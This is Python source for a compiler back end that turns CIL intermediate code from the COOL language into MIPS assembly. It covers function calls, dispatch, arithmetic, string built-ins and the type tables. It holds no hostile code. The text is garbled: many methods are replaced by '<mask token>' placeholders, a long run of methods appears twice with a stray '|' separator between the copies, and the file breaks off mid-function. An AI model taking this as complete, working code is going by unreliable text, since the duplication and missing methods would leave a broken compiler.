self.write_file('')
self.visit(cil.Call(dest=node.dest, f='Object_copy'))
self.write_file('addiu $sp, $sp, 4')
self.write_file('')
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
self.write_file(f'jal function_{node.f}')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == '_':
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
self.write_file(f'jalr $a0')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != '_':
self.write_file('li $a0, {}'.format(self.type_index.index(node.
name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
@visitor.when(cil.Goto)
def visit(self, node: cil.Goto):
self.write_file('# GOTO')
self.write_file('j _cil_label_{}'.format(node.label))
self.write_file('')
@visitor.when(cil.IfGoto)
def visit(self, node: cil.IfGoto):
self.write_file('# IF GOTO')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))
self.write_file('bnez $a0, _cil_label_{}'.format(node.label))
self.write_file('')
<mask token>
<mask token>
<mask token>
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')
self.write_file('move $t2 $v0')
self.write_file('li $t3 0')
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)')
self.write_file('sw $t1 0($v0)')
self.write_file('addiu $t0 $t0 4')
self.write_file('addiu $v0 $v0 4')
self.write_file('addiu $t3 $t3 4')
self.write_file('ble $t4 $t3 _objcopy_loop')
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2')
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4')
self.write_file('addu $a1 $a1 $s1')
self.write_file('lw $a1 0($a1)')
self.write_file('move $a2 $0')
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)')
self.write_file('sw $v0, 12($v1)')
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)')
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $t3 $v0')
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a2 16($fp)')
self.write_file('lw $t1 12($a1)')
self.write_file('lw $t1 12($t1)')
self.write_file('lw $t2 12($a2)')
self.write_file('lw $t2 12($t2)')
self.write_file('addu $t0 $t2 $t1')
self.write_file('sw $t0 12($v1)')
self.write_file('lw $a1 16($a1)')
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1')
self.allocate_memory('$t0', register=True)
self.write_file('move $t5 $v0')
self.write_file('move $t4 $a1')
self.write_file('addu $a1 $a1 $t1')
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
self.write_file('move $t4 $a2')
self.write_file('addu $a2 $a2 $t2')
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)')
self.write_file('sw $v1 12($t3)')
self.write_file('sw $v0 16($t3)')
self.write_file('move $v0 $t3')
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)')
self.write_file(f'lw $a1 16($fp)')
self.write_file(f'lw $a1 12($a1)')
self.write_file(f'lw $a2 20($fp)')
self.write_file(f'lw $a2 12($a2)')
self.write_file(f'blt $a1 $0 _index_negative')
self.write_file(f'blt $a2 $0 _index_negative')
self.write_file(f'add $a2 $a1 $a2')
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)')
self.write_file(f'bgt $a2 $a3 _index_out')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file(f'move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file(f'move $t0 $v0')
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)')
self.allocate_memory('$a2', register=True)
self.write_file(f'sw $t0 12($v1)')
self.write_file(f'sw $v0 16($v1)')
self.write_file('move $t1 $v0')
self.write_file('lw $t5 16($t5)')
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1')
self.write_file('addu $t5 $t5 $a2')
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
self.write_file(f'_index_negative:', tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:', tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_subst_abort:', tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la\t$a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall')
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def io_in_int(self):
self.write_file('function_IO_in_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $t0 $v0')
self.write_file('li $v0 5')
self.write_file('syscall')
self.write_file('sw $v0 12($t0)')
self.write_file('move $v0 $t0')
self.write_file('jr $ra')
self.write_file('')
def io_in_string(self):
self.write_file('function_IO_in_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('sw $v1 12($v0)')
self.write_file('move $t5 $v0')
self.write_file('la $a0 str_buffer')
self.write_file('li $a1 1025')
self.write_file('li $v0 8')
self.write_file('syscall')
self.write_file('move $a0 $0')
self.write_file('la $t2 str_buffer')
self.write_file('_in_string_str_len_:', tabbed=False)
self.write_file('lb $t0 0($t2)')
self.write_file('beq $t0 $0 _end_in_string_str_len_')
self.write_file('beq $t0 10 _end_in_string_str_len_')
self.write_file('addiu $a0 $a0 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _in_string_str_len_')
self.write_file('_end_in_string_str_len_:', tabbed=False)
self.write_file('sw $a0 12($v1)')
self.allocate_memory()
self.write_file('la $t4 str_buffer')
self.write_file('move $t1 $v0')
self.write_file('_in_str_copy_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_copy_')
self.write_file('beq $t0 10 _end_in_str_copy_')
self.write_file('sb $t0 0($t1)')
self.write_file('addiu $t4 $t4 1')
self.write_file('addiu $t1 $t1 1')
self.write_file('j _in_str_copy_')
self.write_file('_end_in_str_copy_:', tabbed=False)
self.write_file('sw $v0 16($t5)')
self.write_file('la $t4 str_buffer')
self.write_file('_in_str_clean_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_clean_')
self.write_file('sb $0 0($t4)')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _in_str_clean_')
self.write_file('_end_in_str_clean_:', tabbed=False)
self.write_file('move $v0 $t5')
self.write_file('jr $ra')
self.write_file('')
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
def io_out_string(self):
self.write_file('function_IO_out_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 16($a0)')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
def conforms(self):
self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'lw $t1 16($fp)')
self.write_file(
f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'
)
self.write_file('_conforms_loop_:', tabbed=False)
self.write_file('beq $t0 $t1 _conforms_ret_true_')
self.write_file(
f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'
)
self.write_file('mulu $t0 $t0 4')
self.write_file('addu $t0 $t0 $s2')
self.write_file('lw $t0 0($t0)')
self.write_file('j _conforms_loop_')
self.write_file('_conforms_ret_true_:', tabbed=False)
self.write_file('li $v0 1')
self.write_file('j _conforms_ret_')
self.write_file('_conforms_ret_false_:', tabbed=False)
self.write_file('li $v0 0')
self.write_file('_conforms_ret_:')
self.write_file('jr $ra')
self.write_file('')
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_')
self.write_file(f'sw $0 12($v0)')
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)')
self.write_file(f'_is_void_end_:', tabbed=False)
self.write_file(f'jr $ra')
self.write_file(f'')
| <mask token>
class MipsVisitor:
<mask token>
def __init__(self, inherit_graph, output_file='mips_code.mips'):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
def push(self):
self.write_file('sw $a0 0($sp)')
self.write_file('addiu $sp $sp -4')
def pop(self, dest=None):
self.write_file(f'addiu $sp $sp 4')
def write_file(self, msg, mode='a', tabbed=True):
f = open(self.output_file, mode)
f.write('{}{}\n'.format('\t' if tabbed else '', msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
elif size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
<mask token>
@visitor.on('node')
def visit(self, node):
pass
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', 'w')
self.write_file('.data', tabbed=False)
self.static_datas()
for data in node.data_section:
self.visit(data)
self.write_file('')
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz "{}"'.format(node.
type_section[i].type_name, node.type_section[i].type_name))
self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""')
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
self.conforms()
self.isvoid()
self.object_abort()
self.object_copy()
self.object_typename()
self.string_length()
self.string_concat()
self.string_substr()
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0')
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[
i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0')
self.write_file('')
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0')
self.write_file('')
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in
func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
@visitor.when(cil.Data)
def visit(self, node: cil.Data):
self.write_file(
f'{node.dest}: .asciiz "{str(node.value.encode())[2:-1]}"')
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.
methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node
.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.
type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
@visitor.when(cil.Function)
def visit(self, node: cil.Function):
self.write_file(f'function_{node.name}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')
for i in range(len(node.args)):
self.offset[node.args[i].name] = 12 + i * 4
for i in range(len(node.vlocals)):
self.offset[node.vlocals[i].name] = i * -4
for inst in node.body:
if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):
inst.id = self.new_labels_id()
self.visit(inst)
self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')
self.write_file('jr $ra')
self.write_file('')
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Plus)
def visit(self, node: cil.Plus):
self.write_file('# +')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('add $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Minus)
def visit(self, node: cil.Minus):
self.write_file('# -')
if isinstance(node.left, int):
self.write_file('li $a0 {}'.format(node.left))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('sub $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Mult)
def visit(self, node: cil.Mult):
self.write_file('# *')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('mul $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Div)
def visit(self, node: cil.Div):
self.write_file('# /')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beqz $a1 _div_error_{node.id}_')
self.write_file('div $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b _div_end_{node.id}_')
self.write_file(f'_div_error_{node.id}_:', tabbed=False)
self.write_file('la $a0 _div_zero_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('la $a0 _abort_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('li $v0 10')
self.write_file('syscall')
self.write_file(f'_div_end_{node.id}_:', tabbed=False)
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')
self.write_file('lw $a0 0($t0)')
self.write_file('lw $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('li $a2 {}'.format(self.type_index.index(
INTEGER_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(
BOOLEAN_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))
)
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')
self.write_file(f'_eq_str_{node.id}_:', tabbed=False)
self.write_file('lw\t$t3 12($t0)')
self.write_file('lw\t$t3 12($t3)')
self.write_file('lw\t$t4, 12($t1)')
self.write_file('lw\t$t4, 12($t4)')
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')
self.write_file('addu $t0 $t0 16')
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16')
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3')
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)
self.write_file('lb $a0 0($t0)')
self.write_file('lb $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1')
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)
self.write_file('lw $a3 12($t0)')
self.write_file('lw $t4 12($t1)')
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')
self.write_file(f'_eq_true_{node.id}_:', tabbed=False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
self.write_file(f'_eq_false_{node.id}_:', tabbed=False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed=False)
<mask token>
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == 'data_':
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.Allocate)
def visit(self, node: cil.Allocate):
self.write_file('# ALLOCATE')
if node.ttype == VOID_TYPE:
self.write_file(f'la $v0 {VOID_MIPS_NAME}')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
else:
offset_proto = self.type_index.index(node.ttype) * 8
self.write_file('lw $t0 {}($s0)'.format(offset_proto))
self.write_file('sw $t0, 0($sp)')
self.write_file('addiu $sp, $sp, -4')
self.write_file('')
self.visit(cil.Call(dest=node.dest, f='Object_copy'))
self.write_file('addiu $sp, $sp, 4')
self.write_file('')
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
self.write_file(f'jal function_{node.f}')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == '_':
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
self.write_file(f'jalr $a0')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != '_':
self.write_file('li $a0, {}'.format(self.type_index.index(node.
name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
@visitor.when(cil.Goto)
def visit(self, node: cil.Goto):
self.write_file('# GOTO')
self.write_file('j _cil_label_{}'.format(node.label))
self.write_file('')
@visitor.when(cil.IfGoto)
def visit(self, node: cil.IfGoto):
self.write_file('# IF GOTO')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))
self.write_file('bnez $a0, _cil_label_{}'.format(node.label))
self.write_file('')
<mask token>
<mask token>
<mask token>
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')
self.write_file('move $t2 $v0')
self.write_file('li $t3 0')
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)')
self.write_file('sw $t1 0($v0)')
self.write_file('addiu $t0 $t0 4')
self.write_file('addiu $v0 $v0 4')
self.write_file('addiu $t3 $t3 4')
self.write_file('ble $t4 $t3 _objcopy_loop')
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2')
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4')
self.write_file('addu $a1 $a1 $s1')
self.write_file('lw $a1 0($a1)')
self.write_file('move $a2 $0')
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)')
self.write_file('sw $v0, 12($v1)')
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)')
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $t3 $v0')
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a2 16($fp)')
self.write_file('lw $t1 12($a1)')
